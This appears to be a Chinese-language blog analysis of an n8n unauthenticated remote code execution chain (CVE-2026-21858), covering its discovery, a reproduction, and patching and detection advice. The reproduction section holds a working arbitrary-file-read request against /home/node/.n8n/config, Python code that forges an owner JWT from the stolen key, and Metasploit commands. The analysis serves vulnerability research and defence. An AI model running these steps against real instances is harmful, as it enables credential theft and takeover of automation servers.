n8n 未授权 RCE（Ni8mare）：CVE-2026-21858 分析

概述

项目	详情
CVE 编号	CVE-2026-21858
CVSS	10.0（Critical）
CWE	CWE-20 输入验证不当
影响版本	1.65.0 ～ 1.120.x
修复版本	1.121.0（建议 1.121.3）
披露时间	2026-01-07
利用状态	Metasploit 模块 + 多个 PoC

n8n 是使用最广的开源工作流自动化平台之一。2026 年 1 月 7 日，Cyera 的研究人员披露了这个满分漏洞，社区把它命名为 Ni8mare——n8n 的噩梦。

资产测绘显示全球约有 166,426 个 n8n 相关资产暴露在互联网上。它的起点只是一个任意文件读取，但配合另一个沙箱绕过漏洞，就变成了完整的远程代码执行。

被怎么发现的

Cyera 团队审计的是表单节点与 Webhook 的处理逻辑。问题出在一处看似不起眼的顺序：表单节点在处理文件上传时，没有验证 Content-Type 请求头。

正常实现应当先确认请求是 multipart/form-data 才进入文件处理流程，但 n8n 在调用文件处理函数之前跳过了这一步。于是攻击者可以发送 Content-Type: application/json，在 JSON body 里自己构造一个 files 对象——其中每个条目直接给出 filepath。表单节点会把这个由请求方提供的路径当成待处理的文件读出来。

更进一步的组合来自另一个漏洞：这份文件读取能力可以与沙箱绕过漏洞 CVE-2025-68613 串联，形成完整的 RCE 链。单个中危与另一个中危相加，结果是满分。

复现过程

以下内容仅用于授权安全测试。

用 Docker 起一个受影响版本，然后在管理界面创建一个包含 Form Trigger 的工作流。关键配置是在 Extract from File 步骤把 On Error 设为 Continue，并把工作流设为 Active。

第一步：Content-Type 混淆读取任意文件。 请求体是普通 JSON，文件名与路径全部由攻击者指定：

POST /form/<form-id>
Content-Type: application/json

{ "files": { "file1": { "filepath": "/home/node/.n8n/config" } } }

响应里会带回该文件的内容。这一步不需要任何身份认证，因为公开表单端点本身就是可达的。

第二步：读取密钥并伪造管理员 JWT。 配置文件里有 FINAL_SECRET_KEY（签名会话令牌用）与 N8N_ENCRYPTION_KEY。拿到密钥后就可以离线签发一枚 owner 角色的令牌：

token = jwt.encode(
    {"id": "1", "email": "admin@n8n.local", "role": "owner",
     "iat": now, "exp": now + 86400},
    secret_key, algorithm="HS256")

第三步：借沙箱绕过落地执行。 带着伪造令牌调用 REST API 创建包含 Function 节点的工作流，节点里的代码用 child_process 执行命令。沙箱绕过（CVE-2025-68613）负责让这段代码真正跑起来。

若只验证文件读取，可以直接用现成的 Metasploit 辅助模块：

msf > use auxiliary/gather/ni8mare_cve_2026_21858
msf auxiliary(...) > set TARGETURI /form/<form-id>
msf auxiliary(...) > set FILEPATH /home/node/.n8n/config
msf auxiliary(...) > run

修复方案

升级到 1.121.0 或更高版本，建议直接上 1.121.3：

npm install n8n@1.121.0
docker pull n8nio/n8n:1.121.0

仅靠配置也能显著降低风险：限制或禁用公开可访问的 Webhook 与表单端点；把 n8n 放到 VPN、私有入口或严格 IP 白名单之后；确实需要公开 Webhook 时，用带速率限制与请求校验的反向代理挡在前面，并把可达端点收敛到必需的那几个；还可以用 NODES_EXCLUDE 环境变量把有风险的表单节点排除掉。

排查时检查 n8n 的执行日志，关注异常的表单提交、异常的文件读取操作与可疑的工作流执行。如果确认已被入侵，应立即轮换所有通过 n8n 集成过的第三方服务凭据——自动化平台里通常存着大量这类凭据。

总结

Ni8mare 的核心问题就是输入验证缺失。表单节点在处理文件上传时跳过了对 Content-Type 的基本检查，这个看似微小的疏忽在特定条件下被放大成了完整的 RCE 链。

它的威胁模型值得单独记一笔：单独看，CVE-2026-21858 只是一个任意文件读取；与 CVE-2025-68613 组合后，就变成了「文件读取 → 凭据窃取 → 权限提升 → RCE」的完整链条。而攻击者只需要一个 HTTP 请求就能开始。

概述

被怎么发现的

复现过程

修复方案

总结

评论